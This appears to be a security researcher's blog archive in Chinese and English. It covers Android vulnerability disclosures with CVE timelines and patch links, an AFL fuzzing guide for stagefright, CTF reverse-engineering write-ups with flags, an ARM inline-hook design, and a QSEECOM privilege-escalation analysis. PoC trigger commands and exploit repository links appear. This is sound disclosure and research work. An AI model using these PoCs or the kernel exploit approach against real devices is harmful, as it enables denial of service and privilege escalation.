SkBmpRLECodec
constructor of SkBmpRLECodec.cpp
, allows attackers to cause a denial of service via a craft bmp file with a very large RLE size field which is more bigger than the real size of the file.
|
|
While proceeding a bmp file, the SkBmpCodec::ReadHeader
function use totalBytes
value and offset
value from the file on line 121-122 without a vaild checking. It means that attackers can fully control the two value. In this post, 0xffffffff
are passed to totalBytes
and 0x0
are passed to offset
.
|
|
The (totalBytes
- offset
) calculation is 0xffffffff
(0xffffffff
- 0x0
), so the value of RLEBytes
is a very large number, 0xffffffff
. Then the RLEBytes
value is passed to SkBmpRLECodec
constructor on line 521.
|
|
|
|
Finally a large memory allocation is triggerd on line 27.
You can click here to get the poc.
The easily way to trigger this vulnerability is as follows.
|
|
Fix the RLE size value.
https://android.googlesource.com/platform/external/skia/+/318e3505ac2436c62ec19fd27ebe9f8e7d174544
This vulnerability was credited to Zinuo Han from Chengdu Security Response Center of Qihoo 360 Technology Co. Ltd.
2016-11-29: ele7enxxh reported the vulnerability to Google;
2017-01-12: Google rated it as a High vulnerability;
2017-03-01: Google assigned CVE-2017-0548 for this vulnerability;
2017-04-03: Google released the patch and disclosed the details of CVE-2017-0548 on Android Security Bulletin-April 2017.
http://androidxref.com/7.0.0_r1/xref/external/skia/src/codec/SkRawCodec.cpp#689
|
|
The width and height could be zero without a check for size information of the TIFF file.
You can click here to get the poc.
The easily way to trigger this vulnerability is as follows.
|
|
Verify the size information.
|
|
This vulnerability was credited to Zinuo Han from Chengdu Security Response Center of Qihoo 360 Technology Co. Ltd.
2016-12-02: ele7enxxh reported the vulnerability to Google;
2017-01-24: Google rated it as a Moderate vulnerability;
2017-01-31: Google assigned CVE-2017-0497 for this vulnerability;
2017-03-07: Google released the patch and disclosed the details of CVE-2017-0497 on Android Security Bulletin-March 2017.
|
|
There is a missing boundary check where signature_start should be within the EOCD comment field.
|
|
pkcs7_der will point to a position beyound the bounds of the valid ZIP buffer due to the invaild signature_start, which may be exploitable.
You can click here to get the poc.
The easily way to trigger this vulnerability is as follows.
adb sideload CVE-2017-0475.zip
.Add a boundary check for signature_start
|
|
This vulnerability was credited to Zinuo Han from Chengdu Security Response Center of Qihoo 360 Technology Co. Ltd.
2016-10-02: ele7enxxh reported the vulnerability to Google;
2016-11-17: Google rated it as a critical vulnerability;
2017-01-31: Google assigned CVE-2017-0475 for this vulnerability;
2017-03-07: Google released the patch and disclosed the details of CVE-2017-0475 on Android Security Bulletin-March 2017.
我们(360成都安全响应中心)将对Stagefright Media Framework进行模糊测试。它是Android系统上用于解析多媒体文件的逻辑算法库,其中包含了大量的安全漏洞,攻击者通过构造特殊的多媒体文件导致拒绝服务或特权升级甚至远程执行代码。
我们将要使用的模糊测试工具为Michał Zalewski开发的一款最为流行的基于代码覆盖率的开源测试工具:AFL(American Fuzzy Lop)。 借助于其高效的策略,AFL已经在真实产品中发现了大量的漏洞。
在本文中,我们将指导你如何在Linux上使用AFL对stagefright进行模糊测试,从而更高效的复现已知漏洞或发掘新漏洞。 另外,本文不仅适用于stagefright,其中的一些经验同样适用于其它由C/C++编写的Android本地程序。
在本节中,我们将首先向你介绍本文接下来使用的环境要求以及软件版本。为了避免出现其他未遇见的错误,我们建议你和我们保持完全一致。
我们假设你已经完成了下载并且编译AOSP的工作。另外,如果你想要使用ASAN,我们建议你编译AOSP为x86版本。
官方AFL只支持在Linux上进行模糊测试,而stagefright是在Android多媒体框架下工作的,因此我们无法直接使用AFL对stagefright进行模糊测试。为了解决这个问题,我们提出了下面两种方案。
其中,我们已经实现了方案A–android-afl,并且公布了源代码,你可以从仓库得到更多信息。
方案A的主要流程图如下图所示。
方案B的主要流程图如下图所示。
显而易见,相比于方案A,方案B更加简洁,其效率也更好(通常来说,PC的性能远高于任何Android手机或者Android模拟器);另一方面,由于stagefright本身的复杂性,其实现也更加困难。
在后续的文章中,我们将一步一步向你介绍如何实现方案B。通过它,我们已经发现了两个漏洞。
显而易见,我们首先要让stagefright在Linux上正常工作。
stagefright需要通过ashmem驱动来共享内存,然而默认情况下Linux内核并不包含ashmem驱动。幸运的是,我们可以通过修改Linux内核配置,并重新编译安装新内核,从而激活ashmem驱动。
我们也许还有更好的解决方案,例如:使用shm代替ashmem或者完全去掉ashmem相关的代码;
注意,本文并未使用binder驱动,这里移植binder只是顺便而已。
使用以下命令下载内核源码。
|
|
转到你要保存内核源码的目录并提取压缩文件。
|
|
拷贝旧的.config文件到源码根目录并开始配置。
|
|
接着使用下面的命令来激活ashmem驱动。
|
|
转到Device Drivers->Android,选中Andoid Drivers和Android Binder IPC Driver。
转到Device Drivers->Staging drivers->Android,选中Enable the Anonymous Shared Memory Subsystem。
现在你可以开始编译安装内核了,执行下面的命令。
|
|
你还需要配置udev规则,从而使得任何用户均可访问binder和ashmem。
|
|
最后,重启你的电脑以启用新内核。
注意,变量ANDROID_BUILD_TOP为AOSP的根目录,ANDROID_PRODUCT_OUT为AOSP的输出目录。
在这一节,你需要对stagefright源码(包括libstagefright和 stagefright命令行工具)进行改动,原因主要为以下两点。
平台性:stagefright使用了binder驱动进行进程间通信,然而默认情况下Linux内核并不包含binder驱动(实际上,我们可以通过修改Linux内核配置,并重新编译安装新内核,从而激活binder驱动);
依赖性:stagefright命令行工具无法独立的对多媒体文件进行解析,它依赖于其他服务进程(如:servicemanager,mediaserver等)。
我们将不会阐述解决上诉两个问题的具体细节,你可以直接使用我们提供的适用于7.1.1_r25版本的补丁文件。如果你使用的版本和我们不同,你可能需要参照补丁文件,手动修改代码。
点击这里下载补丁文件stagefright.diff,转到$ANDROID_BUILD_TOP/aosp/master/frameworks/av目录并应用补丁。
|
|
编译好x86版本的AOSP后,转到stagefright源码目录,并编译。
|
|
编译结束后,你可以在$ANDROID_PRODUCT_OUT/system/bin目录找到stagefright可执行程序。
为了让系统能正确找到加载器以及依赖库的位置,你需要做以下软连接。
|
|
拷贝解码器配置文件到/etc目录。
|
|
另外,如果需要在后续使用ASAN,你还需要做以下软连接。
|
|
现在,你可以尝试在Linux上运行stagefright了。例如,解析一个MP4文件,运行结果如下。
|
|
很好,你已经完成了最为困难也最为重要的工作!
首先,你需要从官网下载最新的AFL源码并解压。
|
|
接着,对AFL源码进行修改以修复下面几个错误。
error: undefined reference to '__fprintf_chk'
error: undefined reference to 'shmat'
error: undefined reference 'afl-area_prev'
同样,我们直接给出适用于2.39b版本(此时的最新版本)的AFL的补丁文件。如果你使用的版本和我们不同,你可能需要参照补丁文件,手动修改代码。
从这里下载补丁文件afl-2.39b.diff到你的电脑,转到AFL源码根目录并安装补丁。
|
|
使用以下命令编译安装AFL。
|
|
首先,进入你想要进行模糊测试的模块目录。
|
|
其次,在其Android.mk文件中添加以下代码。
|
|
注意,由于unsupported reloc这个错误,我们不推荐使用afl-gcc/afl-g++。另一方面,根据AFL官方的资料,afl-clang-fast/afl-clang-fast++也是更高效的。
接着,如果你想使用ASAN,你需要添加下面一行代码
|
|
或者
|
|
最后,重新编译stagefright。
|
|
对于复杂的模块来说,你需要重复上面步骤数次,以对多个感兴趣的模块进行插桩。例如,你也许想要对以下模块进行插桩。
恭喜你,所有准备工作都已经完成了,让我们开始模糊测试吧!
首先,你需要为AFL创建两个目录,一个为in,用于存放预先准备的输入样本;另一个为out,用于存放AFL模糊测试过程中生产的一些有用信息以及自动生成的会让程序挂起或者崩溃的样本。
|
|
其次,你需要以root用户修改/proc/sys/kernel/core_pattern,以修复Pipe at the beginning of ‘core_pattern’这个错误。
|
|
接着,你还需要设置CPU的工作模式为performance,以此来提高AFL的效率。
|
|
如果使用了ASAN,你可能需要执行以下命令。
最后,执行以下命令开始模糊测试。
|
|
如果一切顺利,你将看到类似的AFL的工作屏幕。
在这一节,我们将给你一些额外的建议,以帮助你更快的发现程序中的漏洞。
本文还有许多可以改进的地方,但是我们不会在stagefright花费过多的精力了。
]]>An Integer overflow vulnerability in libziparchive when opening a ZIP archive that contains a large number of CD offset and size could allow attackers to trigger an out-of-bounds access or cause a denial of service.
CVE: CVE-2016-6762
BugID: A-31251826
Severity: High
Updated Google devices: All
Updated AOSP versions: 5.0.2, 5.1.1, 6.0, 6.0.1, 7.0
Author: ele7enxxh of Chengdu Security Response Center, Qihoo 360 Technology Co. Ltd
The vulnerable code is as follows:
http://androidxref.com/7.0.0_r1/xref/system/core/libziparchive/zip_archive.cc#272
The eocd_offset
is 64bit integers, however both cd_start_offset
and cd_size
are 32bit integers:
http://androidxref.com/7.0.0_r1/xref/system/core/libziparchive/zip_archive_common.h#29
The boundary check of an invalid EOCD record succeed due to the integer overflow in eocd->cd_start_offset + eocd->cd_size
, as for the invocation of archive->directory_map.create()
:
The length
(eocd->cd_start_offset
with aligned/adjusted) and offset
(eocd->cd_size
with aligned/adjusted) arguments to the mmap
function are invalid, which would lead to a heap overflow on when writing past the heap boundary during the invocation of ParseZipArchive()
.
The Poc of corrupting the heap is as follows:
https://github.com/ele7enxxh/poc-exp/blob/master/CVE-2016-6762/CVE-2016-6762.apkadb install CVE-2016-6762.apk
dexdump CVE-2016-6762.apk
Fix out of bound access in libziparchive:
https://android.googlesource.com/platform/system/core/+/1ee4892e66ba314131b7ecf17e98bb1762c4b84c
2016–08-28: Android bug reported to Google
2016-09-20: Android bug confirmed and the severity is set to High
2016-12-05: Android security bulletin released with fix
2016-12-08: Public disclosure
本文的测试系统为:ubuntu14.04。
首先需要安装以下软件:
afl-dyninst是基于dyninst的,所以需要下载&&编译&&安装dyninst:
下载&&编译afl-dyninst
|
|
dyninst目前支持POWER/Linux, x86/Linux, x86_64/Linux,x86/Windows XP/2000/2003/Windows 7多个平台以及aarch64,不过可惜的是不支持arm/thumb。afl-dyninst于15年3月公布,不过到目前为止还未添加到afl-fuzz的发行版本中,推测其应该存在较多的bug。不过dyninst项目目前仍然活跃,相信以后会更加成熟。持续关注中!
]]>首先点我下载题目,直接使用jeb反编译,入口代码如下:
可以看到,Java逻辑十分简单,首先获取用户输入,然后调用Double.parseDouble
将其转为Double类型(这意味着输入数据必须为合法的Double数据),接着将其作为参数传递给native层的stringFromJNI
,如果返回值为6,则调用stringFromJNI2
,其返回值即为Flag。
使用IDA反汇编,结果如下:
可以看到,SO进行了高强度的混淆,加入了大量的while、if等无用指令。
对stringFromJNI
使用f5,奇怪的是,经过对f5伪代码的分析,并没有发现有对用户输入进行校验的地方,难道是程序做了处理,导致f5出现了错误?静态分析解决不了,我们就用动态调试。SO没有做任何反调试处理,而且发现动态调试时,stringFromJNI
的f5可以得到正确的伪代码。
由于汇编代码含有大量的无效跳转,因此我们选择直接在伪代码的基础上进行动态调试,经过几轮动态调试,发现stringFromJNI
包含3处关键代码(即有对输入数据进行判断或处理的地方),如下:
从上面的代码我们可以得出以下3点结论:
stringFromJNI
只对输入Double数据的整数部分做处理。stringFromJNI
将整数部分和1000000000做比较,根据大小不同,进入不同的分支。stringFromJNI
调用了check1
,参数为整数部分,根据返回值是否为1,进入不同的分支。现在我们开始脑洞一番,一般情况下,我们测试的时候,不会输入一个大于1000000000的数据,基于这一点我们猜测输入数据应大于1000000000;程序员的逻辑中,返回1是真,0是假,因此我们猜测check1
的返回应为1。现在我们测试一番,首先在check1的后面一行下断点,接着输入一个大于1000000000的数据,如1000000001,点击提交按钮,程序断下来以后,可以看到r0为0,修改r0为1,最后让程序继续运行,可以发现,程序成功打印出了Flag,然而由于我们是直接修改的返回值,而输入依然是错误的,自然这个Flag也是错误的。不过,可以确定的是我们的猜测是正确的,即输入数据应大于1000000000并且check1
的返回值为1。因此现在的关键即为分析check1
,同样在动态分析时,对check1
进行f5得到伪代码,check1
的逻辑要更加简单一点,我们可以直接采用逆推的方法,也就是从出口(return)开始,往函数入口方向逆向推理的过程。逆推过程这里不再详述,只需要注意以下3点即可加快效率:
给出逆推的结果,代码如下:
从上面注释可以知道,也就是需要sub_7509FAA4((char *)&unk_59357062 + v17 - v18 - 0x59357062);
返回负数,现在我们需要做的就是搞清v17和v18的值是什么,以及sub_7509FAA4
的逻辑。关键代码如下:
v17为用户输入的Double数据的整数部分,v18在for循环里完成了赋值,那么这个for循环到底干了什么?我们先看前面几行代码:
这里几个函数都是一些除法、求余的操作。经过几轮动态调试,事实上,这个for循环的前五行代码就是逆向取出一个10位整数的每一位。举个例子,输入为1234567890,每一轮得到的依次为0,9,8,7,6,5,4,3,2,1。
现在还剩下一个my_pow
,顾名思义这是个幂相关的函数。注意我们不需要去具体分析my_pow
,因为我们的输入只有0-9这10种可能,几轮测试过后,得到结论:my_pow
返回输入数据的十次幂。
用C代码重现下这个for循环:
ok,现在sub_7509FAA4((char *)&unk_59357062 + v17 - v18 - 0x59357062);
中,我们知道v17为用户输入数据的整数部分,v18为上面的out,剩下的是分析sub_7509FAA4
的功能,f5得到伪代码,代码很短,而且逻辑也很简单,逻辑是这样的:如果参数(v17 - v18)为非负数直接返回该参数,如果参数为负数则求补之后返回。
这里遇到一个问题,由上面分析可知,需要sub_7509FAA4
返回负数,但是按照该函数逻辑,无论如何都会返回一个非负数!什么情况?经过1个小时的重新分析,排除了前面分析错误的情况,那么sub_7509FAA4
存在溢出?这个时候看伪代码已经没用了,通过对sub_7509FAA4
的汇编代码的分析,发现了溢出点:NEGS R1, R1
,当参数为负数时,程序使用NEGS
指令求补后返回,其中NEGS
的作用是这样的:将目的操作数的所有数据位取反加1。当参数为0x80000000(这是个负数)时,所有数据位取反后为0x8fffffff,再加1后发生溢出,最后值为0x80000000。也就是说,0x80000000经过NEGS
后仍然为0x80000000。
终上所述,现在给出结论:
最后给出计算输入的程序:
程序跑一会就出来了,输入为1422445956
,最后的Flag为:BCTF{wrhav3f4nwxo}
。
首先点我下载题目,这道题提供了三个文件,分别为:
a:内存布局文件
b:oatdump的结果文件
c:boot.oat文件
经过对几个文件的初步观察,发现在b文件中找到一个可疑函数oat.sjl.gossip.oat.MainActivity.check(java.lang.String)
,函数名字可不会乱取,此函数肯定和Flag密切相关,因此需要还原出该方法。可惜,出题者有意抹去了oatdump中的dalvik字节码,不然这道题会简单的多。
我们分段分析汇编代码,首先看下面一段:
其中pAllocArrayResolved对应的是artAllocArrayFromCode函数,原型为:extern "C" mirror::Array* artAllocArrayFromCode##suffix##suffix2(uint32_t type_idx, mirror::ArtMethod* method, int32_t component_count, Thread* self, StackReference<mirror::ArtMethod>* sp)
根据分析,其功能是创建数组,其包含3个参数,r0为创建对象的类型,r1为method对象,r2为待创建数组元素的个数,返回值存放在r0,返回类型为mirror::Array*。
下一段代码为:
其中pHandleFillArrayData对应的是artHandleFillArrayDataFromCode函数,原型为:extern "C" int artHandleFillArrayDataFromCode(mirror::Array* array, const Instruction::ArrayDataPayload* payload, Thread* self, StackReference<mirror::ArtMethod>* sp)
根据分析,其功能是初始化数组,其包含2个参数,r0为待初始化的数组对象,也就是pAllocArrayResolved的返回值,r1指向赋值内容,其类型为Instruction::ArrayDataPayload*,对应的数据结构为:
r1的值为0x003724f8,其对应的区域为:
ident为固定值,也就是0x0300,element_width为1,表示每一个元素的大小为1,也就是说这是一个byte数组,element_count为6,表示数组包含6个byte元素。同理后续几段汇编依次创建并初始化了5个byte数组。
上述汇编共创建并初始化了6个byte数组,对应的Java源码为:
再看下面一段:
可以看到,上面汇编代码里含有大量的边界判断的跳转,这些应该是系统自动添加的一些处理,我们可以忽略掉。另外需要我们对mirror::Array类型有一定的了解。汇编代码中出现的UNKNOWN部分,应该是oatdump没有识别出这些指令,我们可以利用ida识别出来。这段对应的Java源码为:
继续下一段:
这段对应的Java源码为:
继续下一段:
对应的Java源码为:
继续下一段:
这里最后的跳转,lr的值是无法计算出来的。最开始我尝试对获取lr的过程进行分析,但是这里取值的过程绕了多次,因此放弃了这种方法。我们在整个文件中搜索#61656
,找到下面一段代码:
和上面的代码对比,不难发现执行的即为java.lang.System.arraycopy
函数,因此前面汇编代码对应的Java源码为:
继续下一段:
对应的Java源码为:
继续下一段:
对应的Java源码为:
继续下一段:
其中pAllocObjectInitialized是初始化一个对象,类型通过r0确定,我们在整个文件搜索movw r0, #47584
和movt r0, #28745
,从而确定了此处对应的dalvik字节码为new-instance v0, java.lang.StringBuilder
。
继续下一段:
同样的方法,此处对应的dalvik字节码为new-instance v1, java.lang.String
。
继续下一段:
这里遇到一个问题,在整个文件中并没有找到匹配的地方,无法得知这里跳转到哪里。我们来计算下lr的值,通过movw lr, #25081
和movt lr, #29344
计算得到lr的值为0x72a061F9,也就是说这里跳转到了0x72a061F9这个地址。那么0x72a061F9这里又是什么呢?注意题目一共给我们提供了三个文件,到目前为止我们只用了b文件,a文件提供了内存布局信息,看a文件中的下面一段信息:
上面是boot.oat的内存布局,地址0x72a061F9刚好位于boot.oat的代码段,而boot.oat就是题目提供给我们的c文件。我们来算一算0x72a061F9对应到c文件中的地址。首先我们设置这样几个变量:offset_in_file(文件中的偏移),offset_in_memory(在内存中的偏移),virtual_start_addr(虚拟内存区域的起始地址),physics_start_addr(文件中的起始地址)。offset_in_file的计算公式为:
因此地址0x72a061F9对应的boot.oat文件中的地址为:
ok,现在我们找到跳转的地址为boot.oat中的0x1B181F8,接下来我们需要得到boot.oat中的代码,使用oatdump即可。不幸的是我得到这样一个错误:
好吧,oat magic错误,那么就是oat版本的原因了,从b文件得知,magic为039,因此对应的Android版本应该为5.0。再次使用Android5.0的oatdump,将结果保存为c.dump。由于未知的原因(或许是对齐?),地址差了0x1000,也就是为0x1B181F8 - 0x1000 = 0x1b171f8,查看c.dump,此处汇编为:
也就是说0x1b171f8(即内存地址0x72a061F9)指向java.lang.String.<init>(byte[])
函数。回到b文件中check函数的分析,0x003721f6此处的’blx lr’,也就是跳转到java.lang.String.<init>(byte[])
函数。
对应的Java源码为:
后面类似的跳转到c文件的函数,将不再详细分析,本文直接给出结果,读者可按照上述方法自行分析。后续的Java源码为:
整合前面全部Java源码,最后得到获取Flag的Java代码为:
最后的Flag为:0ctf{1ea5n_2_rE_ART}
。
首先点我下载APK,安装运行APK后,发现是一个类似之前微信上的打飞机游戏。
直接用jeb反编译APK,没有任何保护处理,反编译代码如下图:
可以看到APK初始化时,新建了两个xml文件,分别为flag.xml和CocosdxPrefsfile.xml,并且分别写入了一些字符串,其中flag文件中的YmF6aW5nYWFhYQ==
明显为base64编码,随便找了个在线base64解码,解码后为bazingaaaa
,再凑上Flag的标志,组合为0ctf{bazingaaaa}
,提交后提示错误。
运行游戏,没有得分,直接暂停。CocosdxPrefsfile.xml的内容为:MGN0ZntDMGNvUzJkX0FuRHJv
经过多次测试,每次游戏完成初始化后,CocosdxPrefsfile.xml的内容均为上诉字符串。同样是base64编码,解码后为0ctf{C0coS2d_AnDro
,很明显地方找对了,但是Flag不全。
接着继续游戏,随便得了几分,然后撞死。CocosdxPrefsfile.xml的内容为:MGN0ZntDMGNvUzJkX0FuRHJv...dz99
发现除了开始初始化的固定字符串意外,结尾也同样是固定的dz99
,猜测是游戏结束时写入的固定串。
根据得到最高分的提示,开始找关于得分的函数。Java层没几个类,因此重心转到so,把libcocos2dcpp.so拖到ida里,通过score关键字找到关键函数ControlLayer::updateScore(int)
,直接F5后,发现逻辑就是根据每次击中飞机得到的分数,向CocosdxPrefsfile.xml写入对应的字符串,如图:
值得注意的是,其中最大分数被设置为1000000000分,其对应的字符串为4w
,因此结合前面分析,字符串为:MGN0ZntDMGNvUzJkX0FuRHJv4wdz99
解码后为0ctf{C0coS2d_AnDro?
,出现了乱码,明显还是不对。
分析到这里,这道题几乎已经是完成了。剩下的就是开始拼凑Flag了。通过多次尝试,最后我们按照ControlLayer::updateScore(int)
中所有分数的从小到大的顺序,将其对应的字符串组合到一起为:MWRfRzBtRV9Zb1VfS24w
再将头部和尾部组合到一起:MGN0ZntDMGNvUzJkX0FuRHJvMWRfRzBtRV9Zb1VfS24wdz99
解码后为0ctf{C0coS2d_AnDro1d_G0mE_YoU_Kn0w?}
,搞定。
最后吐槽一下,这道题毫无技术含量,逻辑也有很大问题。从技术来看,只要具备基本的Android逆向技能,就能定位到ControlLayer::updateScore(int)
,事实上,我用了5分钟就找到了这个函数,但是到最后找到Flag用了几个小时。按照题目得到最高分的提示,我直接在上层函数修改了分数为1000000000分,得到字符串为MGN0ZntDMGNvUzJkX0FuRHJv4wdz99
。我继续尝试修改分数为2147483647(32位有符号整数的最大值),得到字符串为MGN0ZntDMGNvUzJkX0FuRHJvdz99
。然后又设想了整数溢出之类的问题。最后的答案竟然是把所有分数的字符串全部拼在一起,我不知道这样拼凑和play the game, get the highest score
有什么联系,并且正确的Flag几乎不可能出现在CocosdxPrefsfile.xml中。
讲道理而论,这道题真的浪费了我几个小时的青春(当然不排除我不玩ctf,too young too simple,sometimes naive)。
Inline Hook即内部跳转Hook,通过替换函数开始处的指令为跳转指令,使得原函数跳转到自己的函数,通常还会保留原函数的调用接口。与GOT表Hook相比,Inline Hook具有更广泛的适用性,几乎可以Hook任何函数,不过其实现更为复杂,考虑的情况更多,并且无法对一些太短的函数Hook。
其基本原理请参阅网上其他资料。
- Arm模式与Thumb模式的区别
- 跳转指令的构造
- PC相关指令的修正
- 线程处理
- 其他一些细节
下面我将结合源码对这几个问题进行解决。
本文讨论的对象为基于32位的Arm架构的Inline Hook,在Arm版本7及以上的体系中,其指令集分为Arm指令集和Thumb指令集。Arm指令为4字节对齐,每条指令长度均为32位;Thumb指令为2字节对齐,又分为Thumb16、Thumb32,其中Thumb16指令长度为16位,Thumb32指令长度为32位。
在对一个函数进行Inline Hook时,首先需要判断当前函数指令是Arm指令还是Thumb指令,指令使用目标地址值的bit[0]来确定目标地址的指令类型。bit[0]的值为1时,目标程序为Thumb指令;bit[0]值为0时,目标程序为ARM指令。其相关实现代码为以下宏:
跳转指令主要分为以下两种:
- B系列指令:B、BL、BX、BLX
- 直接写PC寄存器
Arm的B系列指令跳转范围只有4M,Thumb的B系列指令跳转范围只有256字节,然而大多数情况下跳转范围都会大于4M,故我们采用LDR PC, [PC, ?]
构造跳转指令。另外Thumb16指令中并没有合适的跳转指令,如果单独使用Thumb16指令构造跳转指令,需要使用更多的指令完成,并且在后续对PC相关指令的修正也更加繁琐,故综合考虑下,决定放弃对ARMv5的支持。
另外,Arm处理器采用3级流水线来增加处理器指令流的速度,也就是说程序计数器R15(PC)总是指向“正在取指”的指令,而不是指向“正在执行”的,即PC总是指向当前正在执行的指令地址再加2条指令的地址。比如当前指令地址是0×8000, 那么当前pc的值,在thumb下面是0×8000 + 2 2, 在arm下面是0×8000 + 4 2。
对于Arm指令集,跳转指令为:
LDR PC, [PC, #-4]
对应的机器码为:0xE51FF004,addr
为要跳转的地址。该跳转指令范围为32位,对于32位系统来说即为全地址跳转。
对于Thumb32指令集,跳转指令为:
LDR.W PC, [PC, #0]
对应的机器码为:0x00F0DFF8,addr
为要跳转的地址。同样支持任意地址跳转。
其相关实现代码为:
首先通过TEST_BIT0宏判断目标函数的指令集类型,其中若为Thumb指令集,多了下面一个额外处理:
对bit[0]的值清零,若其值4字节不对齐,则添加一个2字节的NOP
指令,使得后续的指令4字节对齐。这是因为在Thumb32指令中,若该指令对PC寄存器的值进行了修改,则该指令必须是4字节对齐的,否则为非法指令。
不论是Arm指令集还是Thumb指令集,都存在很多的与PC值相关的指令,例如:B系列指令、literal系列指令等。原有函数的前几个被跳转指令替换的指令将会被搬移到trampoline_instructions中,此时PC值已经变动,所以需要对PC相关指令进行修正(所谓修正即为计算出实际地址,并使用其他指令完成同样的功能)。相关修正代码位于relocate.c文件中。其中INSTRUCTION_TYPE
描述了需要修正的指令,限于篇幅,这里仅阐述Arm指令的修正过程,对应的代码为relocateInstructionInArm
函数。
函数原型如下:
具体实现中,首先通过函数getTypeInArm
判断当前指令的类型,本函数通过类型,共分为4个处理分支:
- BLX_ARM、BL_ARM、B_ARM、BX_ARM
- ADD_ARM
- ADR1_ARM、ADR2_ARM、LDR_ARM、MOV_ARM
- 其他指令
即为B系列指令(BLX <label>
、BL <label>
、B <label>
、BX PC
)的修正,其中BLX_ARM
和BL_ARM
需要修正LR寄存器的值,相关代码为:
接下来构造相应的跳转指令,即为:
最后解析指令,计算实际跳转地址value
,并将其写入trampoline_instructions
,相关代码为:
如此便完成了B系列指令的修正,关于指令的字节结构请参考Arm指令手册。
ADD_ARM
指的是ADR Rd, <label>
格式的指令,其中<label>
与PC相关。
首先通过循环遍历,得到Rd寄存器,代码如下:
接下来是构造修正指令:
分别为ADR Rd, <label>
、ADR Rd, <label>
、LDR Rt, <label>
、MOV Rd, PC
。
同样首先解析指令,得到value
,相关代码如下:
最后构造修正指令,代码如下:
事实上,还有些指令格式需要修正,例如:PUSH {PC}
、PUSH {SP}
等,虽然这些指令被Arm指令手册标记为deprecated,但是仍然为合法指令,不过在实际汇编中并未发现此类指令,故未做处理,相关代码如下:
处理完所有待处理指令后,最后加入返回指令:
Thumb指令的修正,大家可以参考这里的思路,自行阅读源码。
一个完善的Inline Hook方案必须要考虑多线程环境,即要考虑线程恰好执行到被修改指令的位置。在Window下,使用GetThreadContext
和SetThreadContext
枚举所有线程,迁移context到搬迁后的指令中。然而在Linux+Arm环境下,并没有直接提供相同功能的API,不过可以使用ptrace
完成,主要流程如下:
- 解析/proc/self/task目录,获取所有线程id
- 创建子进程,父进程等待。子进程枚举所有线程,PTRACE_ATTACH线程,迁移线程PC寄存器,枚举完毕后,子进程给自己发SIGSTOP信号,等待父进程唤醒
- 父进程检测到子进程已经SIGSTOP,完成Inline Hook工作,向子进程发送SIGCONT信号,同时等待子进程退出
- 子进程枚举所有线程,PTRACE_DETACH线程,枚举完毕后,子进程退出
- 父进程继续其他工作
这里使用子进程完成线程处理工作,实际上是迫不得已的。因为,如果直接使用本进程PTRACE_ATTACH
线程,会出现operation not permitted,即使赋予root权限也是同样的错误,具体原因不得而知。
具体代码请参考freeze
与unFreeze
两个函数。
mprotect
函数修改页面属性,修改为PROT_READ | PROT_WRITE | PROT_EXEC
。cacheflush
即可实现。registerInlineHook
函数中,但是在inlineHook
、inlineUnHook
函数中还是不可避免的使用了部分libc库的API函数,例如:mprotect
、memcpy
、munmap
、free
、cacheflush
等。如果使用本库对上述API函数进行Hook,可能会失败甚至崩溃,这是因为此时原函数的指令已经被破坏,或者其逻辑已经改变。解决这个Bug有两个方案,第一是采用其他Hook技术;第二将本库中的这些API函数全部采用内部实现,即不依赖于libc库,可采用静态链接libc库,或者使用汇编直接调相应的系统调用号。本文关于Arm Inline Hook线程处理的解决方案已经过时,新方案点这里
在之前的Android inline hook项目中,在复杂环境下,如果遇到下面两个场景可能导致异常,甚至引起被hook进程的crash。
|
|
当我们对要hook的代码前8-10个字节变动的时候,如果子线程刚好执行到此处,或者子线程的函数调用栈包含此处地址,那么有一定几率会导致异常甚至crash。
为了防止上述情况发生,我们在hook之前需要对当前进程的所有线程做检测,以确保hook的函数不在当前的函数调用栈中。我们可以利用backtrace机制,获取线程的每层调用地址与我们需要hook的函数地址做比较,来实现该检测。
栈回溯(backtrace)是指程序运行时打印出当前的调用栈,在程序发生崩溃时,系统常常会打印出栈回溯信息。linux+arm平台下,编译器通过unwind实现栈回溯。
上面是在Android平台通过kill -3 pid命令打印出的调用栈,包含了调用的函数、具体偏移地址以及现场保存的寄存器信息。我们只需要其中的每一层的调用具体地址即可。不走运的是,NDK中并没有提供直接backtrace的接口函数,查看源码,在dalvik/vm/interp/Stack.cpp的dvmDumpNativeStack函数实现了backtrace的功能,dvmDumpNativeStack源码如下:
dvmDumpNativeStack函数功能为打印指定线程的backtrace,这里是直接将打印信息输出,与需求不符。查阅system/core/libcorkscrew/backtrace.c中的unwind_backtrace_thread函数:
这里由于函数比较长,只贴出了前部分。其中判断如果线程id为当前线程id,则直接调用unwind_backtrace函数,而unwind_backtrace函数通过调用_Unwind_Backtrace、__Unwind_Backtrace、__gnu_Unwind_Backtrace解析.ARM.extab和.ARM.exidx节(具体解析过程实在有点麻烦,不再深入研究),将每层调用栈的信息存存入类型为backtrace_frame_t的backtrace结构体中,贴出backtrace_frame_t定义:
其中absolute_pc即为调用地址,unwind_backtrace_thread的返回值则为调用栈的层数。
最后给出具体的方案:
漏洞由nforest@KeenTeam发现,已于2015年年初报给厂商。详细分析请看KeenTeam高级研究员陈良在2015阿里移动技术峰会做出的报告“内存喷射在安卓Root利用中”。
根据nforest@KeenTeam的报告以及网上大牛的提权代码,整理了一份Exp,已经上传到github了:
https://github.com/ele7enxxh/MtkfbExploit
QSEECOM驱动程序提供了ioctl系统调用接口,用于用户空间客户端的通讯。
QSEECOM driver的drivers/misc/qseecom.c没有验证ioctl调用中的某些偏移、长度、基值,攻击者通过构造的应用,利用此漏洞可获取提升的权限或造成拒绝服务。
Android版本:Android4.4.4_r1
内核版本:kernel_msm-android-msm-hammerhead-3.4-kitkat-mr1
手机:Nexus5
接下来我将结合retme在xkungfoo2015安全会议做出的报告对该漏洞的exploit原理进行详细分析。看一下codeaurora对该漏洞的简介:
The qseecom driver provides an ioctl system call interface to user space clients for communication. When processing this communication, the __qseecom_update_cmd_buf function uses the user-supplied value cmd_buf_offset as an index to a buffer for write operations without any boundary checks, allowing a local application with access to the qseecom device node to, e.g., escalate privileges.
显然问题出在__qseecom_update_cmd_buf函数没有对用户传入的参数进行边界检查,导致了内存破坏。对该漏洞的patch时在函数入口添加了一个边界检查的函数:
查看__qseecom_update_cmd_buf函数源码:
这里我隐藏了无关的代码,只贴出了涉及本漏洞的部分。req->cmd_req_buf为用户态传入的缓冲区基地址,req->ifd_data[i].cmd_buf_offset为相对于req_buf的偏移,sg_dma_address返回一个物理地址。值得注意的是,req->cmd_req_buf和req->ifd_data[i].cmd_buf_offset的值都是用户态传入的,并且没有任何限制。
假定sg_dma_address(sg_ptr->sgl)返回的是一个固定的物理地址,如0x3*******,我们可以构造出该漏洞的利用思路:
